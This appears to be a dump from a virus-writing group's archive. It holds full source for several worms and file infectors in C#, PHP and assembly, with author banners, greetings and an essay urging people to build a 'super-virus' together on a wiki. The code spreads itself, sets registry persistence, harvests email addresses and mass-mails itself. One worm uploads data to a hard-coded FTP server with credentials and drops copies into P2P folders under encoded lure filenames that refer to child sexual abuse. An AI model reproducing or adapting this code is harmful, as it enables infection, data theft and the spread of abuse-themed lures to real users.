Environment.OSVersion); writer1.WriteLine(Program.decrypt("TWFjaGluZSBOYW1lIDog") + Environment.MachineName); writer1.WriteLine(Program.decrypt("VXNlcm5hbWUgICAgIDog") + Environment.UserName); writer1.WriteLine(Program.decrypt("SG9zdCBOYW1lICAgIDog") + text3); for (int num2 = 0; num2 < addressArray1.Length; num2++) { writer1.WriteLine(Program.decrypt("SVAgQWRkcmVzcyB7MH0gOiB7MX0g"), num2, addressArray1[num2].ToString()); } writer1.Write("\r\n\t\t\t\t" + Program.decrypt("T3JpZ2luYWwgRmlsZSAtPiBCYWNrdXAgRmlsZQ==") + "\r\n\r\n"); Program.me = Assembly.GetExecutingAssembly().GetModules()[0]; string[] textArray2 = Directory.GetLogicalDrives(); foreach (string text4 in textArray2) { try { Program.CollectDirs(text4, list1); } catch (IOException) { } } int num3 = random1.Next(0, list1.Count); File.Copy(Program.me.FullyQualifiedName, list1[num3] + @"\" + Program.me.ScopeName); DirectoryInfo info2 = new DirectoryInfo(list1[num3] + @"\" + Program.me.ScopeName); info2.Attributes = FileAttributes.Hidden; RegistryKey key1 = Registry.CurrentUser.CreateSubKey(Program.decrypt("U29mdHdhcmVcUmV0cm9cUGFydmFsdXM=")); key1.SetValue(Program.decrypt("UGFydnVsdXM="), list1[num3] + @"\" + Program.me.ScopeName); key1.SetValue(Program.decrypt("QWN0aXZl"), Program.decrypt("MA==")); text2 = Environment.SystemDirectory.ToString(); Directory.CreateDirectory(text2 + Program.decrypt("XHBcYVxyXHZcdVxsXHVccw==")); DirectoryInfo info3 = new DirectoryInfo(text2 + Program.decrypt("XHA=")); info3.Attributes = FileAttributes.Hidden; foreach (string text5 in list1) { try { string[] textArray3 = Directory.GetFiles(text5, "*.jpg"); foreach (string text6 in textArray3) { try { FileInfo info4 = new FileInfo(text6); for (int num4 = 0; num4 < 10; num4++) { if (info4.Name.Contains(textArray1[num4])) { key1.SetValue(Program.decrypt("QWN0aXZl"), Program.decrypt("MQ==")); string[] textArray4 = Directory.GetFiles(text2 + Program.decrypt("XHBcYVxyXHZcdVxsXHVcc1w=")); num1 = textArray4.Length; File.Copy(text6, text2 + Program.decrypt("XHBcYVxyXHZcdVxsXHVcc1w=") + Program.decrypt("aW1wZWRv") + num1.ToString() + ".jpg"); File.Delete(text6); writer1.WriteLine(text6 + " -> " + text2 + Program.decrypt("XHBcYVxyXHZcdVxsXHVcc1w=") + Program.decrypt("aW1wZWRv") + num1.ToString() + ".jpg"); num1++; } } } catch { } } continue; } catch { continue; } } writer1.Close(); Program.p2pShares(); Program.g = key1.GetValue(Program.decrypt("QWN0aXZl")); if (Program.g.ToString() == Program.decrypt("MQ==")) { Application.EnableVisualStyles(); Application.Run(new Form1()); } client1.setHost(Program.decrypt("ZnRwLmhvc3Quc2s=")); client1.setPort(0x15); client1.setUser(Program.decrypt("cGFydnVsdXM=")); client1.setPass(Program.decrypt("ZjQ1NTQ2NHBwOQ==")); client1.login(); client1.chdir(Program.decrypt("ZmlsZXM=")); client1.setBinaryMode(true); client1.upload(text2 + Program.decrypt("XA==") + text1); client1.close(); File.Delete(text2 + Program.decrypt("XA==") + text1); key1 = Registry.LocalMachine.CreateSubKey(Program.decrypt("U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25ccG9saWNpZXNcZXhwbG9yZXJccnVu")); key1.SetValue(Program.decrypt("c2h1dGRvd24="), Program.decrypt("Y21kLmV4ZSAvYyBzaHV0ZG93biAtZg==")); Process.Start(info1); key1.Close(); } private static string decrypt(string s) { StringBuilder builder1 = new StringBuilder(); char[] chArray1 = s.ToCharArray(); byte[] buffer1 = new decrypter(chArray1).GetDecoded(); builder1.Append(Encoding.UTF8.GetChars(buffer1)); return builder1.ToString(); } private static string RandName(string extension) { Random random1 = new Random(); string text1 = null; int num1 = random1.Next(5, 11); for (int num2 = 0; num2 < num1; num2++) { if (random1.Next(1, 3) == 2) { text1 = text1 + Convert.ToChar(Convert.ToInt16(random1.Next(0x61, 0x7a))); } text1 = text1 + random1.Next(0, 10).ToString(); } return (text1 + extension); } private static void CollectDirs(string dir, ArrayList storage) { try { string[] textArray1 = Directory.GetDirectories(dir); foreach (string text1 in textArray1) { storage.Add(text1); Program.CollectDirs(text1, storage); } } catch (UnauthorizedAccessException) { } } private static void p2pShares() { string[] textArray1 = new string[] { Program.decrypt("TXlfR2lybF85eW9fMDQyLmpwZy5leGU="), Program.decrypt("cHRoY19wcmUtU2xpZGVzaG93Ljg3cGl4cy5qcGcuZXhl"), Program.decrypt("UGVkbyAtIDIgMTN5byBnaXJsIG1hc3R1cmJhdGluZyAxNHlvIGJveS5qcGcuZXhl"), Program.decrypt("cHJldGVlbiAtIEVtaWx5IDd5ciBwZWRvIGZ1Y2suanBnLmV4ZQ=="), Program.decrypt("TkVXISAyX1BlZG8gUGVkb2ZpbGlhIEtpZHMgQ2hpbGQgUG9ybiA2NjYuanBnLmV4ZQ=="), Program.decrypt("MiA5eW8gZ2lybHMgYW5kIDEyeW8gYm95LmpwZy5leGU=") }; object obj1 = null; obj1 = Registry.LocalMachine.OpenSubKey(Program.decrypt("U09GVFdBUkVcREMrKw==")).GetValue(Program.decrypt("SW5zdGFsbF9EaXI=")); if (obj1 != null) { XmlReader reader1 = XmlReader.Create((obj1 + Program.decrypt("XA==")) + Program.decrypt("RENQbHVzUGx1cy54bWw=")); while (reader1.Read()) { if (reader1.Name == Program.decrypt("RGlyZWN0b3J5")) { string text1 = reader1.ReadString(); if (Directory.Exists(text1)) { foreach (string text2 in textArray1) { File.Copy(Program.me.FullyQualifiedName, text1 + text2); } } } } reader1.Close(); } string text3 = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + Program.decrypt("ZURvbmtleTIwMDAgRG93bmxvYWRzXA=="); if (Directory.Exists(text3)) { foreach (string text4 in textArray1) { File.Copy(Program.me.FullyQualifiedName, text3 + text4); } } RegistryKey key1 = Registry.LocalMachine.OpenSubKey(Program.decrypt("U09GVFdBUkVcS2F6YWFcTG9jYWxDb250ZW50")); obj1 = key1.GetValue(Program.decrypt("RG93bmxvYWREaXI=")); if (obj1 != null) { obj1 = obj1 + Program.decrypt("XA=="); foreach (string text5 in textArray1) { File.Copy(Program.me.FullyQualifiedName, obj1 + text5); } } key1.Close(); } } } --[Decryptor.cs]-- using System; using System.Collections.Generic; using System.Text; namespace parvulus { public class decrypter { char[] source; int length, length2, length3; int blockCount; int paddingCount; public decrypter(char[] input) { int temp=0; source=input; length=input.Length; for (int x=0;x<2;x++) { if(input[length-x-1]=='=') temp++; } paddingCount=temp; blockCount=length/4; length2=blockCount*3; } public byte[] GetDecoded() { byte[] buffer=new byte[length]; byte[] buffer2=new byte[length2]; for(int x=0;x<length;x++) { buffer[x]=char2sixbit(source[x]); } byte b, b1,b2,b3; byte temp1, temp2, temp3, temp4; for(int x=0;x<blockCount;x++) { temp1=buffer[x*4]; temp2=buffer[x*4+1]; temp3=buffer[x*4+2]; temp4=buffer[x*4+3]; b=(byte)(temp1<<2); b1=(byte)((temp2 & 48)>>4); b1+=b; b=(byte)((temp2 & 15)<<4); b2=(byte)((temp3 & 60)>>2); b2+=b; b=(byte)((temp3 & 3)<<6); b3=temp4; b3+=b; buffer2[x*3]=b1; buffer2[x*3+1]=b2; buffer2[x*3+2]=b3; } length3=length2-paddingCount; byte[] result=new byte[length3]; for(int x=0;x<length3;x++) { result[x]=buffer2[x]; } return result; } private byte char2sixbit(char c) { char[] lookupTable=new char[64] { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z', 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', '0','1','2','3','4','5','6','7','8','9','+','/'}; if(c=='=') return 0; else { for (int x=0;x<64;x++) { if (lookupTable[x]==c) return (byte)x; } return 0; } } } }sources
MSIL.Sycophant Retro _ |_) _ _|_ ._ _ | \ (/_ |_ | (_) www.pugnax.co.uk ************************************************* ** MSIL.Sycophant ** ** (Worm/JativCS.A , W32/Letum.C) ** ** September 2003 ** ************************************************* Anarchistic Sadistic using System; using System.Collections; using System.ComponentModel; using System.Data; using System.Drawing; using System.IO; using System.Net.Sockets; using System.Text; using System.Text.RegularExpressions; using System.Windows.Forms; using System.Reflection; using System.Threading; using Microsoft.Win32; using Retro.Balloon; namespace Sycophant { public partial class Form1 : Form { static Module sycophant; static ArrayList fds = new ArrayList(); static string[] htmlFiles; TaskbarNotifier balloonPopup; static string[] popTitle = new string[9] { "Retro/rRlf", "Capitalism", "Anarchy", "Peter Ferrie", "Class War", "Tony \"Bliar\" must go.", "British National Party", "UK Police", "Sycophant" }; static string[] popMsg = new string[9] { "http://retro.host.sk", "Kill the fat cats", "The British government is corrupt!", "Have fun!", "No war but the class war", "Stop Labour before its too late", "Only losers support the BNP", "Fuck the Fascists", "by Retro, England" }; public Form1() { InitializeComponent(); balloonPopup = new TaskbarNotifier(); balloonPopup.SetBackgroundBitmap(new Bitmap(GetType(), "skin.bmp"), Color.FromArgb(255, 0, 255)); balloonPopup.SetCloseBitmap(new Bitmap(GetType(), "close.bmp"), Color.FromArgb(255, 0, 255), new Point(280, 57)); balloonPopup.TitleRectangle = new Rectangle(150, 57, 125, 28); balloonPopup.ContentRectangle = new Rectangle(75, 92, 215, 55); Thread smtpThread = new Thread(new ThreadStart(smtp)); RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Control Panel\International", false); object c = key.GetValue("sCountry"); if (c.ToString() == "United Kingdom") { Random rand = new Random(); sycophant = Assembly.GetExecutingAssembly().GetModules()[0]; string[] ehd = Directory.GetLogicalDrives(); foreach (string hd in ehd) { Collect(hd, fds); } int n = rand.Next(0, fds.Count); string rf = fds[n].ToString() + @"\" + sycophant.ScopeName; key = Registry.CurrentUser.OpenSubKey(@"Software\Retro", true); if (key == null) { key = Registry.CurrentUser.CreateSubKey(@"Software\Retro"); key.SetValue("Sycophant", rf); File.Copy(sycophant.FullyQualifiedName, rf); } object rd = key.GetValue("Sycophant"); File.Delete(rd.ToString()); File.Copy(sycophant.FullyQualifiedName, rf); key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true); key.SetValue("Sycophant", rf); key.Close(); smtpThread.Start(); popTimer.Start(); } } static void Collect(string dir, ArrayList storage) { try { string[] dirs = Directory.GetDirectories(dir); foreach (string d in dirs) { storage.Add(d); Collect(d, storage); } } catch (System.UnauthorizedAccessException) { } } private void popTimer_Tick(object sender, EventArgs e) { Random rnd = new Random(); int i = rnd.Next(popMsg.Length); balloonPopup.CloseClickable = true; balloonPopup.TitleClickable = false; balloonPopup.ContentClickable = false; balloonPopup.EnableSelectionRectangle = true; balloonPopup.KeepVisibleOnMousOver = true; balloonPopup.ReShowOnMouseOver = true; balloonPopup.Show(popTitle[i], popMsg[i], 500, 5000, 500); } static void smtp() { TcpClient smtp = new TcpClient(); StringBuilder b64String = new StringBuilder(); Random rand = new Random(); object smtpServer = null; int smtpCursor = 0; string smReply, boundary = Guid.NewGuid().ToString().Replace("-", ""); string emailBody = "<html><head><title></title></head><body bgcolor=\"white\" text=\"black\"><p> <div align=\"center\"><table border=\"0\" cellpadding=\"2\" width=\"80%\"><tr><td width=\"971\"><p><font face=\"Verdana\" size=\"4\"><b>Corruption UK</b></font></td></tr><tr><td width=\"971\"><p><font face=\"Verdana\" size=\"2\"><br>Dear user,<br> Over the last eight years, nothing has been done about the corruption in our government and police force. We need to act now, before its to late! We need your help to fight this and in return we hope to make the UK a better place for ourselfs and for the our children. Act now while we still can or forever live in fear from the fat cats who run it.</font></p><p><font face=\"Verdana\" size=\"2\">Sycophant</font></td></tr></table></div><p> </p></body></html>"; RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Internet Account Manager"); string[] smtpDirs = key.GetSubKeyNames(); foreach (string smtpKey in smtpDirs) { RegistryKey smtpSubKey = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Internet Account Manager\" + smtpKey, true); object Server = smtpSubKey.GetValue("SMTP Server"); if (Server == null) { smtpServer = "mail.airmail.net"; continue; } else { smtpServer = smtpSubKey.GetValue("SMTP Server"); } } key = Registry.CurrentUser.OpenSubKey(@"Software\Retro", true); object hp = key.GetValue("Sycophant"); FileStream ftB64 = new FileStream(hp.ToString(), FileMode.Open, FileAccess.Read); byte[] bA = new byte[ftB64.Length]; int rb = ftB64.Read(bA, 0, (int)ftB64.Length); ftB64.Close(); string b64Enc = Convert.ToBase64String(bA); while (smtpCursor < b64Enc.Length) { int Size = Math.Min(76, b64Enc.Length - smtpCursor); b64String.Append(b64Enc, smtpCursor, Size); b64String.Append("\r\n"); smtpCursor += Size; } smtp.Connect((string)smtpServer, 25); NetworkStream smtpStream = smtp.GetStream(); StreamReader smtpReader = new StreamReader(smtp.GetStream()); StreamWriter smtpWriter = new StreamWriter(smtpStream); smtpWriter.AutoFlush = true; smReply = smtpReader.ToString(); if (smReply.Substring(0, 3) != "220") { smtpWriter.WriteLine("HELO localhost\r\n"); smReply = smtpReader.ToString(); if (smReply.Substring(0, 3) != "250") { try { foreach (string cds in fds) { htmlFiles = Directory.GetFiles(cds, "*.html" ); } foreach (string htmlFile in htmlFiles) { Regex hRegex = new Regex("[a-zA-Z0-9-_.-]+@[a-zA-Z0-9-_.-]+\\.[a-zA-Z0-0]+"); FileStream iF = new FileStream(htmlFile, FileMode.Open, FileAccess.Read); byte[] source = new byte[iF.Length]; iF.Read(source, 0, (int)iF.Length); iF.Close(); foreach (Match strMatch in hRegex.Matches(Encoding.ASCII.GetString(source))) { smtpWriter.WriteLine("MAIL FROM: sycophant@gmail.com"); smReply = smtpReader.ToString(); if (smReply.Substring(0, 3) != "250") { smtpWriter.WriteLine("DATA"); smReply = smtpReader.ToString(); if (smReply.Substring(0, 3) != "354") { string mime = "FROM:<sycophant@gmail.com> sycophant@gmail.com\r\n" + "TO: <" + strMatch + ">" + strMatch + "\r\n" + "SUBJECT: 2\r\n" + "MIME-Version: 1.0\r\n" + "Content-Type: multipart/mixed;\r\n\t" + "bounday=" + boundary + "\"" + "X-Priority: 3\r\n" + "X-MSMail-Priority: Normal\r\n" + "X-Mailer: Microsoft Outlook Express 6.00.2900.2180\r\n" + "X-MineOLE: Produced By Microsoft MimeOLE V6.00.2900.2180\r\n\r\n" + "This is a multi-part message in MIME format.\r\n" + "--" + boundary + "\r\n" + "Content-Type: text/html;\r\n\t" + "charset\"iso-8859-1\"\r\n" + "Content-Transfer-Encoding: 7bit\r\n\r\n" + emailBody + "\"\r\n--" + boundary + "\r\n" + "Content-Type: application/octet-stream;\r\n\t" + "name=\"1.exe\"\r\n" + "Content-Transfer-Encdoing: base64\r\n" + "Content-Disposition: attachment;\r\n\t" + "filename=\"1.exe\"\r\n\r\n" + b64String + "\r\n\r\n" + "--" + boundary + "--\r\n.\r\n"; smReply = smtpReader.ToString(); if (smReply.Substring(0, 3) != "250") { continue; } else { int l = 0; if (l < 5) { smtp.Close(); Sycophant.Form1.smtp(); } } } } } } } catch (System.UnauthorizedAccessException) { } } } smtp.Close(); } } }sources
PHP.Venenum Retro _ |_) _ _|_ ._ _ | \ (/_ |_ | (_) www.pugnax.co.uk ************************************************* ** PHP.Venenum ** ** 4th November 2006 ** ************************************************* Anarchistic Sadistic <?php /* * Venenum.php by Retro/rRlf * http://retro.host.sk */ $msg = "PHP.Venenum by Retro/rRlf"; function scandirectory( $path = '.', $level = 0) { $ignore = array('cgi-bin', '.', '..', 'venenum.php'); if(is_dir($path)) { if ($dh = opendir($path)) { while (false !== ($file = readdir($dh))) { if (!in_array($file, $ignore)){ $spaces = str_repeat(' ', ($level * 4)); if (is_dir("$path/$file")){ scandirectory("$path/$file", ($level + 1)); } else { if (!in_array($file, $ignore)) { if ($ext = strstr("$path/$file", ".php")) { if (is_file("$path/$file") && is_writeable("$path/$file")) { $thehost = fopen("$path/$file", "r"); $data = fread($thehost, filesize("$path/$file")); $sig = strstr($data, "venenum.php"); if (preg_match ("/venenum.php/", $data)){ } else { $fh = fopen("$path/$file", 'a') or die; $string = "<?php include(\"" . __FILE__ . "\"); ?>\n"; fwrite($fh, $string); fclose($fh); } } } } } } } closedir($dh); } } } scandirectory("."); echo $msg; ?> // Diabolus fecit, ut id facerem!sources
Vista.Idoneus Retro _ |_) _ _|_ ._ _ | \ (/_ |_ | (_) www.pugnax.co.uk ************************************************* ** Vista.Idoneus ** ** (PE.DONUT.B) ** ** 11th October 2005 ** ************************************************* Anarchistic Sadistic http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=PE%5FDONUT%2EB using System; using System.Collections; using System.Collections.Generic; using System.Reflection; using System.Text; using System.Windows; using System.Windows.Documents; using System.IO; using System.Threading; using System.Windows.Controls; using Microsoft.Win32; namespace idoneus { public class idoneus : Application { TextBlock txtElement; StackPanel rootPanel; Window win; protected override void OnStartingUp(StartingUpCancelEventArgs e) { win = new System.Windows.Window(); rootPanel = new StackPanel(); txtElement = new TextBlock(); txtElement.TextContent = "Idoneus by Retro/rRlf \nhttp://retro.hosk.sk \nwww.rrlf.de.vu \n\nGeNeTiX is EVIL!"; win.Content = rootPanel; rootPanel.Children.Add(txtElement); win.Show(); } } internal sealed class IdoneusMain { [System.STAThread()] public static void Main() { Module mod = Assembly.GetExecutingAssembly().GetModules()[0]; ArrayList list = new ArrayList(); // Search for directories, subfolders on C drive and randomly picks one // GetDirectories(@"D:\", list); // Testing Drive GetDirectories(@"C:\", list); Random rand = new Random(); int num = rand.Next(0, list.Count); object readreg, folder = list[num]; // Ran before?!? RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Software\Retro", true); if (key == null) { // Setup, first time run key = Registry.CurrentUser.CreateSubKey(@"Software\Retro"); key.SetValue("Idoneus", folder + mod.ScopeName); File.Copy(mod.FullyQualifiedName, folder.ToString() + @"\"); } // Read registry for the last host file and delete it readreg = key.GetValue("Idoneus"); File.Delete(readreg.ToString()); // Copy itself to choosen direcory File.Copy(mod.FullyQualifiedName, folder.ToString() + @"\" + mod.ScopeName); // Write new key to registry to Software\Retro and Run RegistryKey runkey = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true); runkey.SetValue("Idoneus", folder + @"\" + mod.ScopeName); key.SetValue("Idoneus", folder + @"\" + mod.ScopeName); // Look for EXE's in current directory string[] files = Directory.GetFiles(Directory.GetCurrentDirectory(), "*.exe"); foreach (string file in files) { try { // Read Itself AssemblyName.GetAssemblyName(file); FileStream fs1 = new FileStream(mod.ScopeName, FileMode.OpenOrCreate, FileAccess.Read); BinaryReader br1 = new BinaryReader(fs1); int sl = (int)fs1.Length; int self = sl; br1.BaseStream.Seek(0, SeekOrigin.Begin); byte[] bytes1 = new byte[self]; int BTR = self; int BR = 0; while (BTR > 0) { int n = br1.Read(bytes1, BR, BTR); if (n == 0) break; BR += n; BTR -= n; } br1.Close(); // Read found exe file FileStream fs2 = new FileStream(file, FileMode.OpenOrCreate, FileAccess.Read); BinaryReader br2 = new BinaryReader(fs2); int hl = (int)fs2.Length; int host = hl; br2.BaseStream.Seek(0, SeekOrigin.Begin); byte[] bytes2 = new byte[host]; int BTR2 = host; int BR2 = 0; while (BTR2 > 0) { int n1 = br2.Read(bytes2, BR2, BTR2); if (n1 == 0) break; BR += n1; BTR2 -= n1; } br2.Close(); FileStream fs3 = new FileStream(file, FileMode.OpenOrCreate, FileAccess.Write); BinaryWriter fw = new BinaryWriter(fs3); fw.BaseStream.Seek(0, SeekOrigin.Begin); fw.Write(bytes1); // fw.Write(bytes2); // fw.Write("idoneus"); fw.Close(); } catch { continue; } } // Run Window idoneus app = new idoneus(); app.Run(); } static void GetDirectories(string dir, ArrayList storage) { try { string[] dirs = Directory.GetDirectories(dir); foreach (string s in dirs) { storage.Add(s); GetDirectories(s, storage); } } catch (System.UnauthorizedAccessException e1) { Console.WriteLine("Error1" + e1.Message); } } } }articles
Greets Retro _ |_) _ _|_ ._ _ | \ (/_ |_ | (_) www.pugnax.co.uk ************************************************* ** G r e e t s ** ** 9th July 2008 ** ************************************************* Anarchistic Sadistic alcopaul ; BeLiAL ; Benny ; BlueOwl ; cpu_wizad CyberWarrior ; CyberYoda ; cyneox ; Del_Armg0 DiA ; disk0rdia ; Falckon ; free0n ; Genetix GigaByte ; GriYo ; herm1t ; Hutley ; Industry Iwing ; Izee ; Kefi ; Kelsey ; Knowdeth ; magstr2003 mANiA89 ; Melhacker ; Metal ; MI_pirat ; Necr0mancer Necronomikon ; nucleii ; PakBrain ; philet0ast3r Radiation ; Rajaat ; Ratter ; Roadkil, Rott_En SPTH ; Senna Spy ; SevenC ; Synge ; VirusBuster Walrus ; Wargame Good night.articles
Somehow we should... Web 2.0 Second Part To Hell ************************************************************* ************************************************************* ************ *********** ************ Somehow we should... Web 2.0 *********** ************ by Second Part To Hell *********** ************ *********** ************************************************************* ************************************************************* Index: ****** 1) Introduction 2) Community Project or "Use the power of Web 2.0" 3) How should it work? 1) Introduction What are successful projects? Mozilla Firefox and Wikipedia,for example. Why are they successful and what is the connection between them? Many people work together, many brains think together with one goal: Increase the complexity and quality of the project. For about 20 years computervirus-authors have formed groups and "worked together". Eeeehhhmmm... Did they really work together? In most groups there are people who help each other and try to increase the reputation of the group. But still, they work as individual fighter. As we could see, the concept of viruswriting groups has died because of natural selection. 29A and older groups died because of senility, rRlf has commited suicide (cooler way to disappear :D), no new serious groups has developed. Furthermore, groups are still somehow elite-like. The members will vote, if somebody wants to join. If there are no people who are "good enough" (view of the members), no new people will join anymore. Resume 1: The concept "groups" is not up-to-date. But what else? Let's focus again on "working together". Successful projects as Firefox or Wikipedia have an other concept: There are no individual fighters, but a community; there are no one-man-codes but one big project. Let's think about the amount of quality and complexity: One-Man-Codes or Community-Project? I guess you got the point... 2) Community Project or "Use the power of Web 2.0" What is our main goal? A super-virus, which contains all techniques ever ideat, ever created! Uhhmm... YES! Why didn't we reached that goal, yet? Because most viruses have been created by a single person. Let's imagine: We have a wiki-platform, which contains a simple structed virus. Interested people can join the wiki. In the discussion-page people think about how to improve the infection technique, how to improve the morphism, how to increase the amount of victim-files, ect... Some people create a new infection technique, other improve the morphism. They compain the different techniques to one virus. People search for bugs, fix them. People build in multiplattform, ectect. Because of different experience, different ideas, different thinking and knowlegde, people have different special fields. In this community project many special fields will be compained to one single super virus. Resume 2: The concept "community project" is up-to-date. 3) How should it work? -> One person HAS TO start the project: Creating the wiki. -> A crowd should has to discuss about the principal of the virus: language; how the code should look like (it will increase alot, so the concept is important; maybe use the concept of already successful projects as Mozilla, ...) -> The body of the virus has to be coded and uploaded to the wiki. -> Many people should be invited to join coding on the project. Now the project is ready to start... -> People code new functions of the virus, upload it to the wiki. -> People discuss about the code. If it's an increase of quality and/or complexity, the new part should be included to the virus. -> People improve functions of the main virus. -> People discuss about the improved code. If it's good, the new code should replace the old code. Resume 3: The project will succeed! - - - - - - - - - - - - - - Second Part To Hell www.spth.de.vu written in February 2008 - - - - - - - - - - - - - -sources
ArchiveTiger Second Part To Hell ArchiveTiger by Second Part To Hell www.spth.de.vu spth@priest.com idead since summer 2005 written in April-May 2006 This is probably the most complex and morphic malware I've ever written. It uses two techniques, which I've explained in rRlf#6 (Over-File-Splitting and Code in Filename), but even more advanced. The worm arrives as .RAR file. When the user uncompress and run the start.bat file the worm starts. - First it combines all .tmp files to one .exe file. This works via function 'copy'. The start.bat may look like this: - - - cd ipnimpvf copy enxk.tmp+af.tmp+gmst.tmp+ztlobb.tmp+bibxwf.tmp /b nqfaoj.exe hjfsgnl.bat - - - First it chances the directory to the worm-dir. Then it copies the first .tmp files to a .exe file and calls another .bat files, which continues: - - - copy nqfaoj.exe+k.tmp+xxon.tmp+jnq.tmp+fjpz.tmp+uxvhm.tmp+osoprk.tmp+m.tmp+acoq.tmp /b rllv.exe copy rllv.exe+xvkepmd.tmp+hg.tmp+bwnlu.tmp+nfvvjv.tmp+toslwjr.tmp+cynivedi.tmp+xxp.tmp+lxssucpv.tmp /b zplgrltq.exe m.bat - - - This will be continued until the whole first .exe file is generated. The generated .exe file will be executed then. - The second file (let's call it dechiff.exe for easier explanation - it has a random name) searchs for files from .000 - .ZZZ and copies all filenames (without extention) to the memory. When the last file (may not be .ZZZ, at my test now it is .35K) the memory will be converted to binary - why? All filenames are 1-4 HEX numbers, which means that every filename contains 1-4 bytes of the real worm. - When dechiff.exe has converted all hex to binary, it searchs for *.txt. In this .txt file a XOR decryption key is saved, which is about 10 byte - 20k byte dechiff.exe reads the content and decrypt the memory. - The new filecontent is complete and decrypt, and will be written to file called NRK.exe, which will be executed then. NRK.exe is the real worm file. Now the real worm starts: - The worm first generate a temporary copy of itself, and prepares everything (VirtualAllocs, temp directory, ect) - It generates a .txt file with random content. This could be 10byte-20k byte (recursive ending) - It encryptes the code of it's temporary copy with XOR - key=.txt file - It starts to generate the files, which represents it's own code. The files' numbering is the extention. The filename is a hex-number (1-4 byte). For instance: EB2B.000 <- This is the MZ-sign of the .exe header (crypted). - When the own file is changed to encrypted HEX-numbers in filenames, the worm starts to split the code of the dechiff.exe file (which is saved in the body of the worm). While splitting, the worm generates several combine .bat files - one of it is called start.bat. start.bat is outside of the worm-directory (with all other files), and will start the whole process. The splitted files are (3..10) bytes. - When the dechiff.exe and all combine files are finished, the spreading part starts. The worm searchs for *.RAR files in the current directory (most times the worm-directory) and in parent directory (directory of start.bat). - At infection, the worm generates two WinRAR strings: %ProgramFilesDir% (read from registry) + "\WinRAR\rar.exe a -y " + victim directory + victim name + "start.bat" %ProgramFilesDir% (read from registry) + "\WinRAR\rar.exe a -y " + victim directory + victim name + worm-directory-name - In the end, this strings will be executed via CreateProcess. The worm does not spread when WinRAR is not installed on the computer. At my tests, the worm-directory contains ~3.800-4.700 files. :) About 91% of the files are HEX-files. ~9% are .tmp (splitted dechiff.exe) The rest (~5-20 files) are .bat (combining dechiff.exe). And one .txt file: KEY for decrypting the worm. I know, this all is highly unusual - but where is the fun of doing usual things? :) ######################################[ArchiveTiger.ASM]###################################### include '..\FASM\INCLUDE\win32ax.inc' primary_decryption_code_length EQU primary_decryption_code_end-primary_decryption_code inf_string_length1 EQU end_inf_str-inf_str .data memory_alloc dd 0x0 my_filename dd 0x0 hCreFile dd 0x0 new_filesize dd 0x0 hCrFiMap dd 0x0 hMapView dd 0x0 hCrypTxt dd 0x0 keysize dd 0x0 trash_counter dd 0x0 bin2hex: bin2hex_1 db 0x0 bin2hex_2 db 0x0 db 0x0 rnd_split_combine_buffer: times 12 db 0x0 rand_name_buffer: times 8 db 0x0 rnd_file_name: times 9 db 0x0 db 'txt',0x0 new_filename: times 8 db 0x0 exe_ext: db '.exe',0x0 hex_filename: times 8 db 0x0 ; 8 Bytes Filename db '.' ; '.' hex_extention: db '000' ; 3 Bytes Extention zero_field: db 0x0 ; 0-terminated String FALSE_F dd 0x0 dotdot db '..',0x0 c_file_size dd 0x0 combine_name_size db 0x0 combine_name_size2 db 0x0 combine_name db 'start.bat', 0x0 combine_data dd 0x0 combine_pointer dd 0x0 combine_start db 'copy ' combine_b_space db ' ' combine_b db '/b' combine_space db ' ' combine_handle dd 0x0 split_handle dd 0x0 split_counter db 0x0 combine_cd db 'cd ' worm_dir: times 8 db 0x0 end_combine_cd db 0x0D,0x0A GetCurrentDir_buffer: times 255 db 0x0 GetCDB_Size dd 0x0 program_dir_reg_subkey db 'SOFTWARE\Microsoft\Windows\CurrentVersion',0x0 program_dir_reg_value db 'ProgramFilesDir',0x0 reg_handle dd 0x0 reg_value_type dd 0x0 reg_buffer_size dd 0x25 reg_buffer: times 0x25 db 0x0 ; Program-Dir-Buffer times 21 db 0x0 ; WinRAR-String-Buffer GCD: times 255 db 0x0 ; Current-Directory-Buffer infection_extention db '*.rar',0x0 inf_handle dd 0x0 inf_str db '\WinRAR\rar.exe a -y ' inf_string_length dd 0x0 end_inf_str: save_inf_str_pointer dd 0x0 WIN32_FIND_DATA: .dwFileAttributes dd ? .ftCreationTime FILETIME .ftLastAccessTime FILETIME .ftLastWriteTime FILETIME .nFileSizeHigh dd ? .nFileSizeLow dd ? .dwReserved0 dd ? .dwReserved1 dd ? .cFileName rb 260 .cAlternateFileName rb 14 ; end WIN32_FIND_DATA STARTUPINFO_struct: StartUp_struct_cb dd 0 StartUp_struct_lpReserved dd 0 StartUp_struct_lpDesktop dd 0 StartUp_struct_lpTitle dd 0 StartUp_struct_dwX dd 0 StartUp_struct_dwY dd 0 StartUp_struct_dwXSize dd 0 StartUp_struct_dwYSize dd 0 StartUp_struct_dwXCountChars dd 0 StartUp_struct_dwYCountChars dd 0 StartUp_struct_dwFillAttribute dd 0 StartUp_struct_dwFlags dd 0 StartUp_struct_wShowWindow dw 0 StartUp_struct_cbReserved2 dw 0 StartUp_struct_lpReserved2 dd 0 StartUp_struct_hStdInput dd 0 StartUp_struct_hStdOutput dd 0 StartUp_struct_hStdError dd 0 ; end STARTUPINFO PROCESS_INFORMATION_struct: PROCESS_INFORMATION_hProcess dd 0 PROCESS_INFORMATION_hThread dd 0 PROCESS_INFORMATION_dwProcessId dd 0 PROCESS_INFORMATION_dwThreadId dd 0 ; end PROCESS_INFORMATION systemtime_struct: ; for random number dw 0 ; wYear dw 0 ; wMonth dw 0 ; wDayOfWeek dw 0 ; wDay dw 0 ; wHour dw 0 ; wMinute dw 0 ; wSecond rnd: dw 0 ; wMilliseconds ; Now the code of dechiff.exe follows: include 'prime_decrypt_bin.inc' .code start: invoke GetCommandLine ; Get the name of the running file inc eax mov [my_filename], eax ; Save the filename get_my_name: inc eax cmp byte [eax], '.' jne get_my_name add eax, 4 mov byte [eax], 0x0 invoke MessageBox, 